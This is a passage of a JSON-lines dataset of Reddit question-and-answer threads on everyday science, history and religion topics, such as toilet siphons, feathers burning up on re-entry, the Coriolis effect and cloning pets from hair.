to want to believe in something ... anything because of the amazing imaginations we have and our ability to create new ideas and images within our own thoughts.  \n\nLook back on the ancient religions and you'll notice that every one of them is a progression of the one before it ... even in the modern day Christian religion, the entire book, ideas, messiah, birth, rebirth, life after death story is thousands and thousands of years old and has been rehashed from other religions before it. \n\nIn the future, in a few thousand years from now (if we are still around), the world won't call it Christianity ... it'll be something like Internetism, Redditanity or LifeOnMarsdenanity ... or something like that and the religion will be filled with gods, demons, angels, prophets, messiahs, and stories about how the saviour LifeOnMarsden asked this very question and where it took them.", "A few thing to note that a lot of people generally miss out on:\n\n1. The Roman Religion was already on the outs when Christianity was picking up steam. The Romans were already flirting with ideas like monotheism with concepts like Sol Invictus and the official religons days were numbered. In actuality a lot of what falls under that traditional umbrella is separate competing religions like Simonism which was at best mildly syncretized but has it's own philosophy and cosmology. Something was going to give eventually.\n2. The Norse religion only appears in it's earliest Germanic form hundreds of years into the common era and *after* Rome was already christian. Some of the older viking runestones talk about historical kings and leaders but some of those were already christian despite having been dead for centuries by the time of that carving.\n3. To be particular Theoderic The Great was a Gothic king and Patrician who was very much an Arian Christian. However like a lot of historic figures he got twisted around into a mythic form. Christians in Germany interpreted him as Dietrich Von Bern, a kind of Arthurian hero who both fights historical battles but also slays dragons and fights dwarves. He runs into other historical figures that similarly got twisted around to be nearly unrecognizable. However, at more or less the same time this is going on the Norse were carving his name as Tyrker the bold and telling a mostly exclusive but similarly outlandish set of stories about him. Some of the other historic figures become Valkyries or immortals.\n4. As you can probably tell at this point folklore and mythology kind of blend into each other and become context sensitive. People didn't just stop believing in Dwarves and Giants and didn't stop telling stories. They also didn't really stop with sorcery. You can see some surviving incantations where Odin and Balder just got replaced with God and Jesus. Norse style sorcery continued for centuries past this point. One of the things people forget is that there's a lot of folk catholicism that uses spirits and monsters and weird figures that at best just kind of become saints of that the church just kind of allows to happen because it keeps the wheels spinning smoothly.\n5. A lot of these folk ideals can still germinate past that point and spread to other, almost entirely different folk ideals elsewhere. Brigid the celtic god became St. Brigid to Catholics. But then at some point she also became Maman Brigitte, a voodoo death goddess. \n\nSo there isn't really a linear A-B. It's more accurate to think of it like genetics where there can be a lot of branches and cross pollination between them and some genes become dominant but others don't really go away.", "If you've ever listened to Viking metal you would know there's lots of people who still believe it", "Saturn day, Sun day, moon day, Tyr\u2019s Day, Wodin\u2019s day, Thor\u2019s Day, Freya\u2019s day. \n\nFor many people who either aren\u2019t religious or are non-practicing the Old gods are more relevant than the moderns ones. \n\nYou could probably make an argument that Christmas and Easter are also just repacking of Old gods holy days as well.", "Did people really stop believing? Roman Catholicism retains priests who act as conduits between regular people and God. Nothing in the New Testament about that. While it's supposedly monotheistic, there are \"saints\" who are immortal beings that serve under God and help those who venerate them. Nothing in the Bible about that. It's a way to retain a pantheon while nominally being monotheistic. I mean, yeah, the Church destroyed the statues of the Roman gods in the Pantheon in Rome and put in Christian saints. So Christianity became the state religion by force. But the Church of Rome retains elements of the more ancient religion.", "European perspective.\n\n1. The spread of Catholicism / Christianity, starting with Roman Emperor Constantine.  Christians were pretty aggressive at spreading the faith, at least once they got to the point where they had material political and military power, \n2. Arguably, the 'old gods' where a god would be dedicated to a specific purpose, desire or topic (god of fertility, hunting, farming, lost causes,...) was replaced with the Roman Catholic canonization of saints.", "They were open to worshipping this Jesus dude in between worshipping Odin and Thor, that's how polytheists tended to react and the church was quiet about it for a few generations before forcing them to choose by telling them Jesus was angry they were worshipping the others.\n\nJesus got worshipped as just another deity during the initial conversions. It's only when you've got people raised to think only Jesus liking them spares them from hell they are suddenly told they aren't allowed to ask Odin to give them strength to send their enemies there anymore.", "When was the last person celebrating the fertility feast of Eostre ? \nLast April. \n\nWhen did the people last celebrate the ancient Celtic festival of Samhain  the end of summer and the harvest and the beginning of the dark, cold winter, a time of year that was often associated with human death.  Last October 31st, and we will again this October 31st.\n\nthere's your answer.", "From studying history and archaeology it seems as though religions like Greek, Roman, Norse, etc were much more like a culture than what we think of as a religion. These religions were made up of tons of festivals and public activities and were very tied to community and civic duties. There were not all of these moral rules given down from the gods like Christianity. I\u2019m of the opinion that the people of these ancient religions didn\u2019t take them as seriously as we do modern religions and just saw them as part of their cultural and regional identity.", "I just finished re-reading Mythology by Edith Hamilton.  One of her themes touches on this (at least in regards to the Greeks).  She discusses several times how the Greeks of the Classical Period were uncomfortable with many of the recurring elements of the mythological stories including human sacrifice and the dishonorable ways the male gods behaved towards young women and their children.  \n\nAdditionally she relates a story about Socrates in which he is asked if he believes a particular myth and he replies:\n\n\u201c\u2018The wise are doubtful,\u2019 Socrates returned, \u2018and I should not be singular if I too doubted.\u2019 This conversation took place in the last part of the fifth century B.C. The old stories had begun by then to lose their hold on men\u2019s minds.\u201d\n\nI\u2019m not sure if this represents the common view among classicists, but Hamilton certainly seems to think the Greeks had begun to outgrow their myths by the Classical period.", "Cannot confirm, but I suspect most religious beliefs stemmed from human projections on nature - someone must care about crops, so we're going to revere the god/goddess of crops - someone must care about reproduction, so we're going to worship the god/goddess of reproductions. As we learn more from science and grow accustomed to our collective \"self,\" we start figuring out that we are gods/goddesses/manipulators of nature and stop relying on \"the old gods like Greek and Norse.\" I honestly just wrote all this out with exactly 0 real sources, but it kinda makes sense.", "I assume its kind of like how we all slowly left Myspace and got on the Facebook train...Less corporate and more social but if everyone around me at work keeps talking about this \"Christianity\" thing I assume at some point I'll pick it up. Especially if the King says so", " I heard once that only poor uneducated people ever believed in that stuff and the rich just used it to control the poor.", "One point is that polytheistic religions (like the Norse one) are usually more tolerant of other religions than monotheistic religions. To them the christian God would have been just another God and would see no problem in worshipping all the gods. It is quite common to find Christian crosses and Thor's hammers in graves of a certain time period. Then gradually the local priests would convert the populace out of believing in the old Gods.\n\n Sometimes people were converted by force, sometimes peacefully, but as the Christian faith had the backing of the elite (because being Christian was a smart move politically) in the long run they stood no chance.", "So I don't remember which Bernard Cornwell book I read it in -- probably one in The Last Kingdom series -- but he made the point that when the Vikings/Norse started to lose the struggle for land and power to the Christians they came to the conclusion that it could only be because the Christian god was the more powerful than the ones inhabiting their pantheon, so it only made sense to get on the winning team. Sounds reasonable to me.", "When are people going to stop believing in the current gods?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Massacre_of_Verden"], [], ["https://en.m.wikipedia.org/wiki/Northern_Crusades"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9dhmm4", "title": "What to read after Paxton's Anatomy of Fascism?", "selftext": "I'm particularly interested in comparative treatments of fascism that were published after 2004 and thus reflect recent scholarship.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9dhmm4/what_to_read_after_paxtons_anatomy_of_fascism/", "answers": {"a_id": ["e5j78wu"], "score": [2], "text": ["Previously, the AskHistorians podcast had an episode about Fascism, in which /u/AnnalsPornographie interviewed /u/commiespaceinvader. Commiespaceinvader also spoke frequently about Paxton's book in the episode, and included a list of additional books that sought to clarify, classify, or contextualize fascism. You can find [the list of books listed by Commiespaceinvader here.](_URL_0_) The list contains both historical and contemporary treatments of fascism. \n\nThis is not to dissuade from further answers, as much more can be said on the subject!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6t2oq4/askhistorians_podcast_092_what_is_facism/dlhf9lo/"]]}
{"q_id": "ahko0t", "title": "toilet water remains the same when in use (i.e. peeing) why/how?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ahko0t/eli5_toilet_water_remains_the_same_when_in_use_ie/", "answers": {"a_id": ["eefebpq", "eefedes", "eeffkej", "eeffzti"], "score": [3, 3, 3, 2], "text": ["By \u201cremains the same\u201d what are you referring to?", "Think of the toilet bowl as a reservoir or a pool that sits higher than the tube or siphon attached to it.\n\nThis bowl carries a consistent level of water. If additional water or object gets add to to it, the water level rises. The excess level of water will flow down into the siphon and won\u2019t stop flowing until the volume of water in the bowl go back to its original level.\n\nSo the siphon makes sure the water level is consistent.\n\nMore on MIT website:\n_URL_0_", "Imagine you have a cereal bowl in the kitchen sink and you turn on the water.  The bowl will fill with water until it gets to the lowest edge of the bowl and then remains at the same level because it runs over the edge.    \nIn your toilet that edge is hidden in the curvy bit behind/below the bowl.    \nIf you are filling it slowly (with urine) the water is trickling over the edge, if you fill it quickly enough (flushing) that bend forms a siphon that takes all the water from the bowl until the vacuum breaks (the gurgly sucking noise at the end of the flush) and the bowl can start to fill again.", "There\u2019s a thing called a U-bend. This is a U-shaped bit of pipe at the bottom of the toilet bowl, before it goes down the drain at the back. The pool of water in the toilet that you can see is the front half of this U. So basically if you add a little more water to the U - or a poo - then it overflows at the back of the U-bend and down the drain. When you flush, there\u2019s so much water flowing that it flushes everything out of the entire U-bend and down the drain at the back. The point of having a U-bend in the first place is to stop smells coming up from the sewer and into your bathroom. The pool of water in the U-bend stops the gases coming up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://web.mit.edu/2.972/www/reports/toilet/toilet.html"], [], []]}
{"q_id": "9tsu16", "title": "could i photograph the exact moment of light spreading inside my room?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9tsu16/eli5_could_i_photograph_the_exact_moment_of_light/", "answers": {"a_id": ["e8yu6ts", "e8yu8at", "e8yu8ir", "e8yu8qa", "e8yua5d", "e8yumv6", "e8yvugm", "e8yxwxt", "e8yzd7a", "e8z0w77", "e8z12kw"], "score": [2, 3, 6, 44, 155, 15, 3, 2, 3, 2, 2], "text": ["The light the camera see (or your eyes) is the light reflected from the things in your room. So if you just switch on the light, you must point the lamp (and you will only see the things that are close to the lamp which have the time to reflect)", "You\u2019d have to have a shutter that moved fractionally faster than the speed of light to do it so it would be impossible. \n\nThat said, if you could do it all you would see is a fraction of the room illuminated closest to the light source. \n\nSo for example, if you built a shutter which could click at twice the speed of light, and you had a light source at the top center of the room then you\u2019d see a photo in which the top half of the room and walls would be illuminated and the bottom half would be as dark as it would have been had you not turned on the lights. ", "Definitely possible for a camera to capture light moving, but not a phone camera.\n\n_URL_1_\n\n_URL_0_", "No. While it does take time for light to travel from the bulb to cover the room, a camera doesn't take a picture of a short enough span of time to capture that movement of the light. For example, the shortest shutter speed on an iPhone is 1/8000 of a second. In that amount of time, light can travel roughly 23 miles. ", "You would need a very fast camera. Light travels at speed of 300 thousand km a second. Human requires 0.1 sec to react. In that time, light has already spread in the room.\nYou would have to build a circuit with a very fast camera so that you would record at very high fps the moment you press the button.\nThere is a TED talk by Ramesh Raskar in which he told about a camera that records at a trillion fps. He captured light traveling in it.", "You need rays to reach your camera to take photo though, considering light switch is at the edge of the room when you\u2019re able to take that pic, room is already lit. Also relativity.", "No, you can't see light in motion and neither can any camera. Both your eyes and the camera detect light that hits their photoreceptors. \n\nIn order for you to see anything, light has to move from the source (light bulb, the sun etc.) bounce off something and hit you square in the eye. The reason you can see anything at all is because this is happening a lot and light goes really really fast. Light is constantly being poured out of light sources, scattering all over the place and hitting you in the eye, thus we see.\n\nSo if we go back to the scenario with a light switch in a room, you've just flicked the switch and we've stopped time just as the light leaves the bulb in the room. It's spreading out in all directions from the lamp (because that's what makes a good lamp) but it's only gotten a few centimeters because we stopped time. Can you see it? Nope. It hasn't hit your retinas yet, and it's the same with a camera. It couldn't take a picture, however fast it was because of the way it works.\n\nEdit: I just realized what you CAN do is capture light as it's being reflected of surfaces in the room. That you could film, but I don't know how fast it would have to be (note the MIT thing people were linking in the comments here does NOT do that, it records series of fast laser pulses one scanline at a time)", "Not a light itself, but you can easily record a light bulb lighting up using slow motion mode in your camera.", "In theory, I guess... Bear in mind the light has to hit the walls/objects then be emitted and travel to the camera to be detected. So at the moment of the picture it wouldn't actually be an accurate representation of how much of the room the light has hit.\n\nIt's probably extremely difficult/impossible engineering-wise though.", "Not exactly the same experiment, but once I took a photo of my wife shortly after she graduated. I was using the flash while other person also was taking a photo with flash on.\n\n  \nResult? [_URL_0_](_URL_0_) I caught them being lightned in half by the other persons' flash.", " >  I mean the moment when, for example, half of my room is still dark whereas the other half is already lit, and you can see \"the border of light\"?\n\nYou actually can find [pictures that look like this](_URL_0_) but that's not what's happening. In cases like the above, inside the camera there's a curtain blocking the light from the film and it starts moving sideways, exposing the film to light. Halfway through the curtain opening, the flash goes off -- so only part of the film sees the light. \n\nThat's *not* what you described, but in case you had seen one of these half-light/half-dark photos, that's how they happen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://techcrunch.com/2018/10/12/at-10-trillion-frames-per-second-this-camera-captures-light-in-slow-motion/", "https://www.good.is/articles/super-fast-camera-works-at-light-speed"], [], [], [], [], [], [], ["https://imgur.com/a/twWEq5C"], ["http://www.caseycolor.com/advice1.htm"]]}
{"q_id": "8lm6kd", "title": "If an asteroid flew through Saturn's ring, would it leave a permanent hole? Have we ever spotted such a hole?", "selftext": "So I'm thinking that, because the ring system is essentially a bunch of particles and rocks in perpetual orbital motion around Saturn as the barycenter, if an asteroid collided with the ring at a roughly perpendicular angle, it would leave an essentially permanent hole. \n\nFurther, I'm guessing that the size of the hole would larger than the asteroids width due to the fact that it would knock some matter 'outwards' which would in turn collide with other matter causing what I'm imagining as an \"orbital crater\".\n\nLooking for someone to set me straight and explain what would actually happen, and if its been observed already?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8lm6kd/if_an_asteroid_flew_through_saturns_ring_would_it/", "answers": {"a_id": ["dzgwx8n", "dzh0la5", "dzk0n17"], "score": [7, 23, 3], "text": ["No, it wouldn't. For one, the rings are not really that dense on the scale of a single asteroid. But more importantly, the rings aren't perfect circles, and each individual rock and speck in the ring system has a slightly different velocity at any particular point in its orbit. Soon after an asteroid passed through, even assuming a really massive one, the ring system would be fluid enough to render the hole it made impossible to discern.\n\nThat's not to say it would make no difference at all, as obviously it would, but there would not be a single clear hole for very long at all.", "The hole could not be permanent because ring segments at different distances from the planet are orbiting at different speeds. (See Kepler\u2019s Law) Even if you poked a big hole in the rings (I\u2019m looking at you, Oryx) they would essentially shear themselves back into a roughly homogeneous configuration over some amount of time.", "This is a [diagram](_URL_1_) of Saturn's rings.\n\nAs you can see, the rings are far from uniform and are enormous, spanning more than 65 000 km. Each pixel in that image is 6.25 km across, so you'd need an enormous hole to even be visible in that image.\n\nHere's the [earth](_URL_0_) at the same scale."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://i.imgur.com/Iy3AMhi.jpg", "https://upload.wikimedia.org/wikipedia/commons/b/b1/Saturn%27s_rings_dark_side_mosaic.jpg"]]}
{"q_id": "2olh0j", "title": "how do blind people pick up after their seeing eye dogs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2olh0j/eli5_how_do_blind_people_pick_up_after_their/", "answers": {"a_id": ["cmo9o3m", "cmodrln", "cmog98v", "cmogecn", "cmogloc", "cmognlt", "cmognsk", "cmohrvt"], "score": [150, 113, 20, 7, 5, 4, 2, 2], "text": ["Assistance animals are taught to poop on command.  And the owner has a schedule.", "Ex trainer here.  The blind person gives the dog a command to go and when he/she feels the dog start to squat, they place their own foot next to the dogs back paw to mark where they are relieving.  They then pull out a bag and clean up right near their shoe.  Kind of odd but it works perfectly.  ", "I think it is amazing how well aide dogs are trained, but if I saw a blind man not pick up his dog's shit I ain't sayin shit.", "I've trained 3 guide dogs in the past and we teach them to poo and wee on command and on lead.\n\nIt's pretty easy to train. You just take them out at consistent intervals on a lead and say the command until they go. Then lots of praise afterwards. They quickly get the idea.\n\nIt was pretty great in Winter opening the door and yelling \"Do you business\" and having it all done quick instead of waiting outside for ages for the dog to finally do its business.", "my dad's seeing eye dog was trained to go around in circles right before he poops. when the dog stops circling, he will feel which way his head is pointed and then use that to find his ass, then goes from there", "I saw a blind woman in the neighborhood command her seeing eye German Shepherd to poop. Ended up being in the middle of a driveway next to the storm drain. When it was done, she had a dog poop bag and kind of brushed surface the drain/street with the bag in hand, picked up about 5 big pieces and only missed one in the end. Was fascinating to watch it from across the street.", "For a second there I thought I was on /r/jokes.", "Both my mother and step-dad were blind when I was a kid. The dog stops, the dog squats, blind person puts hand on dog's butt to feel where it is. When dog is done, blind person with plastic bag on hand approximates where feces would have fallen and grabs it through the bag. Turn bag inside out, tie off, throw away. Pretty simple.\n\nThen once a week a sighted child goes around the yard to see if the missed anything."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "34tzrr", "title": "If a feather was in a decaying orbit around the Earth, would it burn up during re-entry?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34tzrr/if_a_feather_was_in_a_decaying_orbit_around_the/", "answers": {"a_id": ["cqy75gy", "cqy79xk", "cqy7yfn", "cqy8gar", "cqybvzv", "cqycp9a", "cqygrg2", "cqyh5wk", "cqyjdo4", "cqykf82"], "score": [779, 32, 16, 86, 17, 32, 6, 1170, 2, 6], "text": ["Probably not: \n\nSince the feather has such a low mass and such a high Cx/drag coefficient, it would pretty much always have the terminal velocity associated to its current air density (dependant of altitude). \n\nWhen a bigger craft enters the atmosphere, it plunges faster into higher density regions of the atmosphere so that the terminal velocity will almost always be smaller than the actual velocity, resulting in massive friction and heat production. I guess you could calculate terminal velocity and compare it to readily available re-entry data on the internet, but I'm too lazy for that right now.\n\nBut a big part of \"burning during re-entry\" also results from the weak heat exchange that low density air is capable of. That means the aircraft will heat up more and more without sufficient air mass flowing past it to get rid of this heat. So I don't really know how the link between terminal velocity  < - >  current velocity  < - >  produced heat due to friction is decribed correctly, but somehow all these variables probably are important for the question at hand. However, when only looking at feathers, I think my the first paragraph is still correct. ;)", "Yes. Most meteoroids are 1 gram or less(small pebble to grain of sand sized). Most meteoroids are not hard material, but little balls of dust (large surface area to small mass, much like a feather). All of these burn in the atmosphere, NOT because they have a high mass, BUT due to having high kinetic energy.\n\n[Source](_URL_0_)", "Depends on how \"high\" it started from...i.e., what its initial downward velocity is when it finally reaches terminal velocity.\n\nThis is a very interesting question, and when I find time I will run some calculations.\n\nFor argument, we should assume that the feather has no lateral velocity relative to earth's atmosphere. \n\nPeople here have suggested that due to its weight and dimensions it will always be at terminal velocity.  I'm not convinced.  Again, if it started at 1000 miles up, it would undergo an unrestrained acceleration (maybe 9 m/s2?...just totally guessing...it would be close to earth normal g but lower).\n\nThat builds up.  The outer atmosphere is so rare that it may not provide enough air resistance to prevent it from burning up before going terminal velocity.  The feather could still burn in _very_ rarefied air if it is moving fast enough.\n", "Much of the debris from the Columbia disaster was paper. Surface area to mass.  Heck, even petri dishes with worms survived the re-entry.  \n\nSo I'd guess, from empirical evidence, that the feather would be intact.", "Yes.  On re-entry, we can approximate the dynamics as air molecules slamming into the target object at orbital speed [(I'm going to assume 7 km/s)](_URL_0_).  We'll say the feather has a mass of 1g.  We will assume the heat capacity of the feather (made of keratin, but cellulose will be a close approximation and data is much easier to find for cellulose) is [1.5 J/g*K](_URL_1_) and its autoignition (decomposition) temperature is 543K.  Let's say the feather starts at 6K (temperature of outer space).  This means it would take 537K * 1.5J/g*K * 1g = 805.5 J of energy to decompose the feather.  The kinetic energy needed to arrest the feather's descent is KE=.5*m*v^2 = .5 * (1/1000) * (7000)^2= 24500 J.  This is 2 ORDERS OF MAGNITUDE higher than the energy required to burn it up.  \n\n**Therefore I can conclude with high confidence that that feather would fry- like a- well like a flammable feather on re-entry.**", "The trajectory and speeds the feather would experience can be encapsulated roughly in what's called the ballistic coefficient, beta=mass/(dragCoeff\\*dragArea). Rather than calculating this from its components, consider that terminal velocity is equal to sqrt(2\\*g\\*beta/rhoAir), so if terminal velocity for a feather at sea level is 0.5 m/s, then beta would be about (1.225 kg/m\\^3)\\*(0.5 m/s)\\^2/(2\\*(9.8 m/s\\^2)) = 0.02 kg/m\\^2.\n\nThe relationship between beta and heating is not straightforward and is complicated by the fact that atmospheric heating is highly dependent on the object shape, but we can use the radius of curvature of the edges. A feather's various parts have very low radii, which would lead to higher heating. Using a Chapman heating model with a radius of curvature of 1 mm and simulating the above feather from a decaying 300 km orbit gives a peak heat rate of about 2 Watts/cm\\^2. A radius of 1 mm is probably high, though. Chapman heat rate is proportional to 1/sqrt(r).\n\nOnce you know the heat rate, you have to determine whether that's enough to burn the feather. Sunlight is 0.012 W/cm\\^2, and I'm guessing that using a magnifying glass to concentrate sunlight by 2/0.012 = 150 times would burn a feather rather quickly.\n\nYes, I think it would burn.", "Not really. The effect we call 'burning up' is mostly just the object in question moving through air incredibly fast, compressing all the air it moves through, making it hot enough to ignite briefly. This coupled with other things like drag and friction, creates the famous fire and brimstone image we have when we think of things like meteors landing. \n\nBut a feather would not move fast enough. Nor would it be heavy enough. ", "I used to work doing simulations of re-entering spacecraft. We found that the most common things to survive were the bulky metallic parts of the craft - fuel tanks and batteries being the most common items recovered on the ground. They didn't look good, of course, but they were tough enough not to melt (through heat capacity and high melting points) during the quite short period of re-entry where the heat is the most intense. \n\nHowever, we also found on the far side of the scale that very lightweight MLI - the gold \"wrapping paper\" on the outside of satellites used for thermal insulation - also survived. This happened if it ripped off the satellite when the atmosphere thickened enough for the breakup to start. If it didn't rip away, and was pulled down by the heavier structure, it would vapourise easily. But things that got free very quickly slowed and cooled, and made it to the ground. A feather would have a lower melting point, but it would also not have (I presume!) a heavy satellite structure attached to it increasing its ballistic coefficient. I would be very surprised it didn't survive.\n\nSimilarly, spiders and insects would have no problem with re-entry (other glacial cold, lack of pressure and radiation damage from being in space and the sea they'd likely land in). I wonder if something bigger, like a mouse, could too?", "I do not think a feather would survive long enough to be burnt up from friction with the atmosphere as its orbit decayed. It is essentially a high carbon high surface area material that would be impacting mono-atomic oxygen and ozone while being exposed to intense amounts of UV. I think that rather than ignite, it would breakdown and be completely oxidized into gasses long before it would be able to get hot enough to ignite.", "I was pondering this exact question this morning but instead of a feather it was a [roly poly bug](_URL_0_). Would one of these burn up on reentry? How would they fair in the deep cold vaccume of space? Are they actually aliens? All joking aside if someone could do the math on the first question that would be awesome!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amsmeteors.org/meteor-showers/meteor-faq/"], [], [], ["http://en.wikipedia.org/wiki/Orbital_speed", "http://www.engineeringtoolbox.com/specific-heat-capacity-d_391.html"], [], [], [], [], ["http://en.m.wikipedia.org/wiki/Armadillidiidae"]]}
{"q_id": "ku20z", "title": "If I'm standing in the equator and shoot a cannonball headed north, does it goes north? (ignoring the atmosphere)", "selftext": "This is inspired by this [bad astronomy post](_URL_0_). Basically it comes down to earth rotation: If I'm standing in the equator I'm rotating a lot faster than anyone else that's standing still. If I shoot a cannon ball north, will it go northwest?\n\nDoes this mean that airplanes heading north have to go slightly northeast?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ku20z/if_im_standing_in_the_equator_and_shoot_a/", "answers": {"a_id": ["c2n7o5r", "c2n7o5r"], "score": [9, 9], "text": ["You're talking about the [Coriolis effect](_URL_0_).  This force causes moving objects on the surface of the Earth to appear to veer to the right in the northern hemisphere, and to the left in the southern.  ", "You're talking about the [Coriolis effect](_URL_0_).  This force causes moving objects on the surface of the Earth to appear to veer to the right in the northern hemisphere, and to the left in the southern.  "]}, "title_urls": [], "selftext_urls": ["http://blogs.discovermagazine.com/badastronomy/2011/09/27/the-pressure-of-living-on-a-spinning-planet/"], "answers_urls": [["http://en.wikipedia.org/wiki/Coriolis_effect"], ["http://en.wikipedia.org/wiki/Coriolis_effect"]]}
{"q_id": "y59bc", "title": "how does the us tax code \"reward companies that ship jobs overseas\"?", "selftext": "American politicians often make this claim, but they only ever speak in generalities. Obviously this is a complex issue, but I'd like to understand the details -- how, exactly, does the US law and tax code encourage offshoring? How much do US companies benefit -- in other words, how much added tax incentive is there for offshorers to maintain the status quo? How, exactly, would proposals to \"fix\" this situation work? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/y59bc/eli5_how_does_the_us_tax_code_reward_companies/", "answers": {"a_id": ["c5sgq8c"], "score": [4], "text": ["Companies are supposed to get a tax break for every person they employ, with the goal that companies will hire more people to get more tax breaks. However, many companies are able to exploit the loophole by accounting for foreign employees as if they were in America. That means they don't hire American workers, but get American-worker tax breaks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8ebvaq", "title": "how do they make those glass bottles with the little wooden model sailboats in them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8ebvaq/eli5_how_do_they_make_those_glass_bottles_with/", "answers": {"a_id": ["dxtxeo5", "dxtyg5m", "dxtykq5", "dxtz0k7"], "score": [34, 7, 2, 2], "text": ["Very carefully.\n\nYou use a special set of tools that are very long and skinny to literally build the boat piece by piece inside the bottle. Often, you can assemble sections outside the bottle before inserting and connecting them to the rest of the ship. It is very hard and very delicate work.\n\nAs for the companies that produce them en masse? I'm guessing that they cheat and build a bottle around a pre-constructed ship.", "[Here is a short clip of one beeing inserted into the bottle, should be selfexplaining](_URL_0_)        \n", "_URL_0_\n\nBasic summary is that everything is built outside the bottle as much as possible.  Then they insert it into the bottle by section and glue them together.", "[This video](_URL_0_) is a very short and sweet explination. Basically, they build the ships outside of the bottle and rig the masts and sails up to fold on a hinge, so that you can compact the ship down and put it in the bottle. Then, once the ship is in the bottle, you can use stings attached to the masts/sails to raise them up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/Pbk2AiR3kO0?t=1m40s"], ["http://www.instructables.com/id/Building-A-Ship-In-A-Bottle/"], ["https://www.youtube.com/watch?v=pqUpopljnS0"]]}
{"q_id": "7br785", "title": "how does the electron transport chain work", "selftext": "How does it work in both cellular respiration and photosynthesis", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7br785/eli5_how_does_the_electron_transport_chain_work/", "answers": {"a_id": ["dpk7jud"], "score": [4], "text": ["I'm in medicine, so I'll let someone else more qualified tackle photosynthesis, but for respiration, Your cells break down glucose to generate electron carriers such as NADH and FADH2 (they have actual names, but they're very long and latin and I don't remember them at the moment). These electron carriers then are used by the mitochondria (yes, it is the powerhouse of the cell... We know...) with the help of some special proteins (comlex I/II/III, cytochrome C and Q) to generate a proton gradient across the mitochondrial membrane. Then, these protons are allowed to flow back across the membrane down their concentration gradient through a protein called ATP synthase, which works kind of like a turbine and jams a phosphate onto an ADP, which forms ATP. The ATP can then be used by other parts of the cell to generate energy for various cell processes (DNA/RNA/Protein synthesis, molecule transport, cell division, etc...). \n\nIt's been a while since I've done plant biology, but IIRC, photosynthesis is basically cellular respiration in reverse. It uses CO2, water and photons (light) to generate glucose. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1b4t9w", "title": "Can animals be cloned from their hair?", "selftext": "I just lost a pet (a cat.) Is there any part of him (without poking inside him) that I could preserve (and preserve how) to maybe have him cloned someday?\n\nI already have some of his hair. I could cut a bit of the tooth or clip the point of an ear, but would they be any useful, and what about the best way to keep any of those intact over the years?\n\nEDIT: Thanks to everyone who replied.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1b4t9w/can_animals_be_cloned_from_their_hair/", "answers": {"a_id": ["c93luwz", "c93mrp2"], "score": [2, 2], "text": ["You're going to be waiting a long time (probably decades) before comercial cloning of pets from just a DNA sequence is plausible.\n\nThat said, if you stick it in the freezer, it probably will keep for decades.", "If you were to try to clone your cat from the DNA from the tissues you've collected, you would try to use a technique called [somatic-cell nuclear transfer](_URL_0_). This process involves removing the nucleus from a somatic cell from the deceased organism and using it to replace the nucleus from a denucleated oocyte (an egg that has had its nucleus removed). The egg with a new nucleus then \"reprograms\" the DNA by clearing and remodeling epigenetic marks, and then develops into an organism with the same genetic information as the organism from which the somatic nucleus was harvested.\n\n\"Somatic\" means \"of the body\" and means any cell that is not part of the germline. \"Germline\" cells on the other hand include any cell that is capable of passing its genetic information to an offspring someday. If a cell could potentially form a sperm or egg one day, that means it's part of the germline. This distinction is important to understand because normally the genetic information in somatic cells will never be able to be passed on to offspring, and so the integrity of the genetic information in somatic cells is not as important to maintain. In fact, part of the reason we age is due to the fact that genetic changes accumulate in somatic tissues which in turn causes them to function differently over time. For example, [telomeres](_URL_1_) (which are segments of DNA that appear on the ends of chromosomes) are well known to shorten in somatic tissues over time, but are maintained in germline tissues. This is all to say that any given cell in the body does not necessarily have the same *exact* genetic information, and that some cell types \"senesce\" over time due to the fact that they lose genetic information.\n\nWhat this all boils down to is the fact that not every somatic tissue is appropriate to be used as a source for somatic cell nuclear transfer. It is very important for the life of the cloned organism that all the necessary genetic information be present in order to make a new organism. Genetic information needs to be collected from living tissues as well. As the other poster pointed out, the DNA in keratinized tissues such as skin and hair is not maintained well, and I would predict would be unsuitable for SCNT."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Somatic_cell_nuclear_transfer", "http://en.wikipedia.org/wiki/Telomere"]]}
